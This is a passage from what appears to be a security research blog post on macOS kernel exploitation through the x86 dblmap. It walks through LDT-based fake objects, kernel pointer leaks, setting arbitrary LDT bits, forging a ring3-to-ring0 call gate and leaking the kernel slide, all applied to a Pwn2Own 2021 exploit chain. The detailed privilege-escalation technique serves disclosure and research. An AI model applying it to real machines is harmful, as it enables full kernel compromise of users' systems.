&lt;p&gt;A process can query its current LDT entries with &lt;a href=&quot;https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man2/i386_get_ldt.2.html&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;i386_get_ldt()&lt;/code&gt;&lt;/a&gt;, invoking kernel function &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/i386/user_ldt.c.auto.html#:~:text=%0ai386_get_ldt_impl&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;i386_get_ldt_impl()&lt;/code&gt;&lt;/a&gt;. This copies out descriptors directly from the actual LDT (in the dblmap), not the LDT struct.&lt;/p&gt;

&lt;h2 id=&quot;known-code-at-a-known-kernel-address&quot;&gt;Known Code at a Known Kernel Address&lt;/h2&gt;

&lt;p&gt;When writing a macOS kernel exploit without a kernel code address leak, the subset of functions in the &lt;code class=&quot;highlighter-rouge&quot;&gt;__HIB&lt;/code&gt; text section can potentially serve as useful call targets.&lt;/p&gt;

&lt;p&gt;Some notable functions (at fixed offsets) in the dblmap are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;memcpy()&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;bcopy()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;memset()&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;memset_word()&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;bzero()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/iokit/Kernel/IOHibernateRestoreKernel.c.auto.html#:~:text=hibernate_page_bitset&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;hibernate_page_bitset()&lt;/code&gt;&lt;/a&gt; - sets or clears a bit in a bitmap structure&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/iokit/Kernel/IOHibernateRestoreKernel.c.auto.html#:~:text=hibernate_page_bitmap_pin&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;hibernate_page_bitmap_pin()&lt;/code&gt;&lt;/a&gt; - may copy a 32-bit int from 1st structure argument to 2nd pointer argument&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/iokit/Kernel/IOHibernateRestoreKernel.c.auto.html#:~:text=hibernate_sum_page&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;hibernate_sum_page()&lt;/code&gt;&lt;/a&gt; - returns a 32-bit int from its 1st argument as an array, using the 2nd as the index&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/iokit/Kernel/IOHibernateRestoreKernel.c.auto.html#:~:text=hibernate_scratch_read&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;hibernate_scratch_read()&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/iokit/Kernel/IOHibernateRestoreKernel.c.auto.html#:~:text=hibernate_scratch_write&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;hibernate_scratch_write()&lt;/code&gt;&lt;/a&gt; - like memcpy, but 1st argument is a structure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The utility of these functions to a kernel exploit will be heavily dependent on the specific context when control flow is hijacked. Most of the kernel call targets listed above require 3 arguments. If a given vulnerability allows multiple controlled calls in sequence, you may also be able to use earlier calls to set registers/state for use in later calls.&lt;/p&gt;

&lt;p&gt;Whatever the case may be, the dblmap can often be used to transform a simple kernel control flow hijack primitive into something that also produces a true kernel text (code address) leak.&lt;/p&gt;

&lt;h2 id=&quot;other-miscellaneous-dblmap-tricks&quot;&gt;Other Miscellaneous dblmap Tricks&lt;/h2&gt;

&lt;h4 id=&quot;a-truly-arbitrary-64-bit-value-at-a-known-kernel-address&quot;&gt;A Truly Arbitrary 64-bit Value at a Known Kernel Address&lt;/h4&gt;

&lt;p&gt;We’ve already covered how the dblmap allows us to easily place almost arbitrary data in the LDT.&lt;/p&gt;

&lt;p&gt;But say you need a truly arbitrary 64-bit value (maybe the function pointer you need has bit 5 set, and won’t meet the LDT constraints). When taking a syscall, the dispatch stub will save &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp&lt;/code&gt; (the userspace stack pointer) in a scratch location in the dblmap (&lt;code class=&quot;highlighter-rouge&quot;&gt;cpshadows[cpu].cpu_uber.cu_tmp&lt;/code&gt;). The user &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp&lt;/code&gt; value will also be placed on the interrupt stack in the dblmap (either &lt;code class=&quot;highlighter-rouge&quot;&gt;master_sstk&lt;/code&gt; for cpu 0, or &lt;code class=&quot;highlighter-rouge&quot;&gt;scdtables[cpu]&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Although not its intended usage, &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp&lt;/code&gt; can be treated as a general-purpose register, and assigned an arbitrary 64-bit value. Barring the development inconvenience of needing to set/restore &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp&lt;/code&gt; before and after the syscall, this gives an arbitrary 64-bit value at a known address.&lt;/p&gt;

&lt;h4 id=&quot;leaking-kernel-pointers-into-the-ldt&quot;&gt;Leaking Kernel Pointers Into the LDT&lt;/h4&gt;

&lt;p&gt;Another useful aspect of the LDT is that it can be used as a writable location for a true kernel address leak, which can be queried and read out from user mode with &lt;code class=&quot;highlighter-rouge&quot;&gt;i386_get_ldt()&lt;/code&gt;. Say you are able to use a hijacked function call to copy from an arbitrary address into the LDT. Copying one of the function pointers in the dblmap into the LDT, then querying the appropriate range of the LDT, will obtain a text leak.&lt;/p&gt;

&lt;p&gt;Or as another example, perhaps the 1st argument to your hijacked function call is the fake object in the LDT, the 2nd is some valid C++ object, and the 3rd is any small enough integer. Calling &lt;code class=&quot;highlighter-rouge&quot;&gt;memcpy()&lt;/code&gt; will copy the vtable (and some of the object’s fields) into the LDT. Querying the LDT then reads those leaks out to userspace.&lt;/p&gt;

&lt;p&gt;There is one caveat with this technique, in that it can be racy. Remember that there is an LDT per CPU core, and there is no method on macOS to pin a process to any specific core. If a thread performs the hijacked function call, copying the leaks into its LDT, then gets &lt;a href=&quot;https://en.wikipedia.org/wiki/Preemption_(computing)&quot;&gt;preempted&lt;/a&gt; before it can call &lt;code class=&quot;highlighter-rouge&quot;&gt;i386_get_ldt()&lt;/code&gt;, the leaks will effectively be lost.&lt;/p&gt;

&lt;h4 id=&quot;determining-the-current-cpu&quot;&gt;Determining the Current CPU&lt;/h4&gt;

&lt;p&gt;While not really a “trick,” it’s necessary to identify the current CPU number in order to match up the right structure addresses in the dblmap. Each core has its own GDT (in the dblmap), so the &lt;a href=&quot;https://www.felixcloutier.com/x86/sgdt&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;sgdt&lt;/code&gt;&lt;/a&gt; instruction can be used to determine the current CPU. You can then busy loop until the “correct” GDT is seen.&lt;/p&gt;

&lt;p&gt;One example of when this needs to be done is after populating the LDT with a payload, the task needs to execute on the right core before the payload will be present in that core’s LDT in the dblmap.&lt;/p&gt;

&lt;h2 id=&quot;using-the-dblmap-to-simplify-real-world-exploits&quot;&gt;Using the dblmap to Simplify Real-World Exploits&lt;/h2&gt;

&lt;p&gt;To provide a concrete example that demonstrates the utility of the dblmap, we will show how our Pwn2Own 2021 kernel exploit could have been greatly simplified by using the dblmap instead of its overly complicated construction of several leak primitives. The source for this variation is available on &lt;a href=&quot;https://github.com/ret2/Pwn2Own-2021-Safari&quot;&gt;GitHub&lt;/a&gt; along with the rest of the full Safari-to-Kernel chain.&lt;/p&gt;

&lt;p&gt;The complete details of the bug/exploit were covered in a &lt;a href=&quot;https://blog.ret2.io/2022/06/29/pwn2own-2021-safari-sandbox-intel-graphics-exploit/&quot;&gt;prior post&lt;/a&gt;, but it suffices to say that we’ll begin from a point in the exploit where:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;We have an arbitrary write into a freed kernel buffer&lt;/li&gt;
  &lt;li&gt;We have no kernel information leaks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We can easily reclaim our freed kernel buffer with the backing storage of a new &lt;code class=&quot;highlighter-rouge&quot;&gt;OSArray&lt;/code&gt;, which contains &lt;code class=&quot;highlighter-rouge&quot;&gt;OSObject&lt;/code&gt; pointers. These are C++ objects, so corrupting a kernel data pointer in the array to point at a fake object should be sufficient to hijack control flow through a virtual call.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Thanks to the dblmap, we can place known data at a known kernel address.&lt;/em&gt;&lt;/strong&gt; Meaning we can construct the fake kernel object (and its vtable) in the LDT without requiring a true kernel text or data leak.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/dblmap_osarray_corruption.svg&quot; data-lightbox=&quot;dblmap_osarray_corruption.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/dblmap_osarray_corruption.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;(For simplicity, we select CPU 0 as the “right” CPU, whose LDT corresponds to the &lt;code class=&quot;highlighter-rouge&quot;&gt;master_ldt&lt;/code&gt; symbol in the kernel)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Now that we are able to hijack kernel control flow, we need to investigate what the register state will be at the call, and how this can be turned into a useful invocation of a dblmap function.&lt;/p&gt;

&lt;h2 id=&quot;argument-control-at-the-hijacked-kernel-call-site&quot;&gt;Argument Control at the Hijacked Kernel Call Site&lt;/h2&gt;

&lt;p&gt;In this case, a copy of the corrupted OSArray will be made, and we are first able to hijack control in &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/libkern/c++/OSArray.cpp.auto.html#:~:text=OSArray::initWithObjects&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;OSArray::initWithObjects()&lt;/code&gt;&lt;/a&gt;, which is passed the backing store containing corrupted objects. The corrupted backing store is iterated over, and the &lt;code class=&quot;highlighter-rouge&quot;&gt;taggedRetain()&lt;/code&gt; virtual function is invoked for each object.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The first argument to the call will naturally be the &lt;code class=&quot;highlighter-rouge&quot;&gt;this&lt;/code&gt; pointer, which will point at the fake object in the LDT&lt;/li&gt;
  &lt;li&gt;The second argument is the “tag,” which will be &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;OSCollection::gMetaClass&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There is no explicit third argument, but we can still look at how the function was compiled, and determine what may be in &lt;code class=&quot;highlighter-rouge&quot;&gt;rdx&lt;/code&gt; (the third argument according to the &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI&quot;&gt;calling convention&lt;/a&gt;) at the call site.&lt;/p&gt;

&lt;p&gt;It happens to be used during a &lt;code class=&quot;highlighter-rouge&quot;&gt;count++&lt;/code&gt; operation, meaning it will be equal to the fake object’s index in the corrupted array plus one. In other words, if we corrupt the object at index &lt;code class=&quot;highlighter-rouge&quot;&gt;i&lt;/code&gt; in the array, the third argument for its corresponding call will be &lt;code class=&quot;highlighter-rouge&quot;&gt;i+1&lt;/code&gt;. This gives us control over the third argument, as long as it’s a relatively small nonzero integer.&lt;/p&gt;

&lt;p&gt;Since the second argument, &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;OSCollection::gMetaClass&lt;/code&gt;, is an instance of &lt;code class=&quot;highlighter-rouge&quot;&gt;OSMetaClass&lt;/code&gt;, a C++ object, its first field is a vtable. It would be relatively simple to call &lt;code class=&quot;highlighter-rouge&quot;&gt;memcpy()&lt;/code&gt; with a third argument of 8, which would copy the vtable into the LDT. The vtable could then be read out with &lt;code class=&quot;highlighter-rouge&quot;&gt;i386_get_ldt()&lt;/code&gt; as discussed previously, giving a text leak.&lt;/p&gt;

&lt;p&gt;From there, we could use &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/libkern/c++/OSSerialize.cpp.auto.html#:~:text=OSSerializer::serialize&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;OSSerializer::serialize()&lt;/code&gt;&lt;/a&gt; to turn the call with a controlled &lt;code class=&quot;highlighter-rouge&quot;&gt;this&lt;/code&gt; argument into an arbitrary function call with 3 controlled arguments (assuming the LDT constraints can be met). This would likely be sufficient to get enough leaks to remove dependence on the LDT and continue the exploit from there.&lt;/p&gt;

&lt;p&gt;But let’s do something more interesting instead.&lt;/p&gt;

&lt;h2 id=&quot;setting-arbitrary-bits-in-the-ldt&quot;&gt;Setting Arbitrary Bits in the LDT&lt;/h2&gt;

&lt;p&gt;The signature for the &lt;code class=&quot;highlighter-rouge&quot;&gt;hibernate_page_bitset()&lt;/code&gt; function is:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem; background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;hibernate_page_bitset&lt;/span&gt;(&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;hibernate_page_list_t&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;list&lt;/span&gt;, &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;boolean_t&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;set&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;uint32_t&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;page&lt;/span&gt;)&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
The second boolean argument, &lt;code class=&quot;highlighter-rouge&quot;&gt;set&lt;/code&gt;, determines whether the function sets or clears a bit. It will be true in our case, since &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;OSCollection::gMetaClass&lt;/code&gt; is nonzero.&lt;/p&gt;

&lt;p&gt;The third argument, &lt;code class=&quot;highlighter-rouge&quot;&gt;page&lt;/code&gt;, specifies which bit to set or clear. As mentioned previously, we can make this any small nonzero integer.&lt;/p&gt;

&lt;p&gt;The first argument, which will be our fake object in the LDT, has the following structure:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem; background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;hibernate_page_list_t&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;uint32_t&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;list_size;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;uint32_t&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;page_count;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;uint32_t&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;bank_count;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;hibernate_bitmap_t&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;bank_bitmap&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;hibernate_bitmap_t&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;uint32_t&lt;/span&gt; &amp;nbsp; &amp;nbsp;first_page;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;uint32_t&lt;/span&gt; &amp;nbsp; &amp;nbsp;last_page;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;uint32_t&lt;/span&gt; &amp;nbsp; &amp;nbsp;bitmapwords;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;uint32_t&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;bitmap&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
In short, it is a variably sized array of bitmaps, where each bitmap is associated with a range of bit indices.&lt;/p&gt;

&lt;p&gt;Since we control the fake structure and the bit index, invoking this function allows us to set arbitrary bits in the LDT.&lt;/p&gt;

&lt;h4 id=&quot;note-on-preemptions&quot;&gt;&lt;em&gt;Note on Preemptions:&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;It should be noted that the memory contents of the LDT in the dblmap are ephemeral, in the sense that they become irrelevant if the current task (process/thread) is &lt;a href=&quot;https://en.wikipedia.org/wiki/Preemption_(computing)&quot;&gt;preempted&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;When a new task starts executing on the CPU, if it has an LDT it will get copied into the dblmap, overwriting the existing corrupted contents. Likewise, when the preempted task (with previously corrupted LDT) is rescheduled, the LDT copied into the dblmap originates from the heap-allocated structure, effectively removing the corruption.&lt;/p&gt;

&lt;p&gt;In our case we can mostly ignore this detail, since there won’t be any penalty or crash on failure, and we could re-perform the hijacked bitset calls if desired. Additionally, &lt;code class=&quot;highlighter-rouge&quot;&gt;OSArray::initWithObjects()&lt;/code&gt; is iterating over the corrupted backing store in a loop, meaning we can hijack a virtual call for each slot in the array, and invoke the bitset function multiple times in one pass. We don’t need to go back and forth to userspace each time we set a bit, meaning less time elapsed, and the lower the chance our task is preempted.&lt;/p&gt;

&lt;p&gt;Another option would be to corrupt one of the first 3 descriptors in an LDT. These are hardcoded and cannot be modified with &lt;code class=&quot;highlighter-rouge&quot;&gt;i386_set_ldt()&lt;/code&gt;:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem; background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; USER_SETTABLE &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x1f&lt;/span&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* start of user settable ldt entries */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; LDTSZ_MIN &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;SEL_TO_INDEX&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;(USER_SETTABLE)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; SEL_TO_INDEX(&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;) ((s)&lt;/span&gt;&amp;gt;&amp;gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
Since they aren’t expected to change, these entries are not reset each time a new task executes on a CPU. Any corruptions to these 3 descriptors in any of the dblmap’s LDTs (one per CPU) will persist across preemptions.&lt;/p&gt;

&lt;h2 id=&quot;constructing-a-call-gate&quot;&gt;Constructing a Call Gate&lt;/h2&gt;

&lt;p&gt;Setting bits in the LDT sounds powerful, but what can we actually do with it?&lt;/p&gt;

&lt;p&gt;Remember that there are two types of descriptors: code/data descriptors for memory regions, and system descriptors. The only system descriptors permissible in the LDT are call gates. As the Intel manual states:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Call gates facilitate controlled transfers of program control between different privilege levels.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;They are primarily defined by 3 things:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;the privilege level required to access the gate&lt;/li&gt;
  &lt;li&gt;the destination code segment selector&lt;/li&gt;
  &lt;li&gt;the destination entry point&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The binary format:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/dblmap_call_gate_format.png&quot; data-lightbox=&quot;dblmap_call_gate_format.png&quot; data-title=&quot;From Intel manual volume &amp;lt;a href='https://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-3a-part-1-manual.html'&amp;gt;3A&amp;lt;/a&amp;gt; section 5.8.3.1&quot;&gt;
    
      &lt;img src=&quot;/assets/img/dblmap_call_gate_format.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;From Intel manual volume &lt;a href=&quot;https://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-3a-part-1-manual.html&quot;&gt;3A&lt;/a&gt; section 5.8.3.1&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;When making a far call through a call gate from userspace (ring3), roughly the following happens:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Check privileges (the call gate descriptor’s DPL field must be 3)&lt;/li&gt;
  &lt;li&gt;The destination code segment descriptor’s DPL field becomes the new privilege level&lt;/li&gt;
  &lt;li&gt;Use the new privilege level to select a new stack pointer from the TSS&lt;/li&gt;
  &lt;li&gt;Push the old &lt;code class=&quot;highlighter-rouge&quot;&gt;ss&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp&lt;/code&gt; onto the new stack&lt;/li&gt;
  &lt;li&gt;Push the old &lt;code class=&quot;highlighter-rouge&quot;&gt;cs&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;rip&lt;/code&gt; onto the new stack&lt;/li&gt;
  &lt;li&gt;Set &lt;code class=&quot;highlighter-rouge&quot;&gt;cs&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;rip&lt;/code&gt; from the call gate selector and entry point&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Constructing a call gate that can be accessed by ring3 (DPL of 3) and specifies the code segment selector for 64-bit kernel code (0x8), will allow us to perform a far call to any address we specify, as ring0.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Abusing call gates for kernel exploitation has been demonstrated &lt;a href=&quot;http://vexillium.org/dl.php?call_gate_exploitation.pdf&quot;&gt;before&lt;/a&gt;, but in the context of 32-bit Windows, when SMEP, SMAP, and page table isolation weren’t concerns.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;leaking-the-kernel-slide&quot;&gt;Leaking the Kernel Slide&lt;/h2&gt;

&lt;p&gt;When we trigger the far call, &lt;a href=&quot;https://www.binaryexploitation.org/kernel-land/protections/smep-supervisor-mode-execution-protection&quot;&gt;Supervisor Mode Execution Prevention&lt;/a&gt; (SMEP) prevents us from jumping to executable code in userspace. The page tables will still be in user mode, where the only mapped kernelspace pages are for the dblmap. This leaves the only option of jumping into existing code in the &lt;code class=&quot;highlighter-rouge&quot;&gt;__HIB&lt;/code&gt; text section.&lt;/p&gt;

&lt;p&gt;We’ll direct our far call into the middle of &lt;code class=&quot;highlighter-rouge&quot;&gt;ks_64bit_return()&lt;/code&gt;, which contains the following instruction sequence:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov r15, qword ptr [r15 + 0x48]
jmp ret64_iret

ret64_iret:
iretq
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Remember that we have full register control (except for &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp&lt;/code&gt;, which will be the kernel stack), so the first instruction dereferencing &lt;code class=&quot;highlighter-rouge&quot;&gt;r15&lt;/code&gt; gives us an arbitrary read primitive. We simply set &lt;code class=&quot;highlighter-rouge&quot;&gt;r15&lt;/code&gt; appropriately for the address we want to read from, make the far call, and upon returning to userspace, &lt;code class=&quot;highlighter-rouge&quot;&gt;r15&lt;/code&gt; will contain the dereferenced data.&lt;/p&gt;

&lt;p&gt;This can serve to leak one of the function pointers out of the dblmap, which would reveal the kernel slide. To be specific, we can leak the &lt;code class=&quot;highlighter-rouge&quot;&gt;ks_dispatch()&lt;/code&gt; pointer from &lt;code class=&quot;highlighter-rouge&quot;&gt;idt64_hndl_table0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;There is a slight caveat here, in that returning from a far call would usually be done with a far return instruction &lt;code class=&quot;highlighter-rouge&quot;&gt;retf&lt;/code&gt;, not an &lt;code class=&quot;highlighter-rouge&quot;&gt;iretq&lt;/code&gt; interrupt return. The stack layout will be slightly different than expected:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/dblmap_iretq_stack.svg&quot; data-lightbox=&quot;dblmap_iretq_stack.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/dblmap_iretq_stack.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;rflags&lt;/code&gt; will be set from the old &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp&lt;/code&gt;, while &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp&lt;/code&gt; will be populated with the old &lt;code class=&quot;highlighter-rouge&quot;&gt;ss&lt;/code&gt;, and &lt;code class=&quot;highlighter-rouge&quot;&gt;ss&lt;/code&gt; from whatever happens to be on the stack afterwards. This means that:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;rflags&lt;/code&gt; can be ‘restored’ by setting &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp&lt;/code&gt; to the &lt;code class=&quot;highlighter-rouge&quot;&gt;rflags&lt;/code&gt; value before making the far call&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;rsp&lt;/code&gt; being set from the old &lt;code class=&quot;highlighter-rouge&quot;&gt;ss&lt;/code&gt; is a non-issue, we can just restore &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp&lt;/code&gt; ourselves&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The next value on the stack loaded into &lt;code class=&quot;highlighter-rouge&quot;&gt;ss&lt;/code&gt; will be a kernel pointer, which will be an invalid selector, and will trigger an exception. This exception however, will occur in ring3, &lt;em&gt;after&lt;/em&gt; the interrupt return, so we can simply use intended Mach exception handling behavior to catch it.&lt;/p&gt;

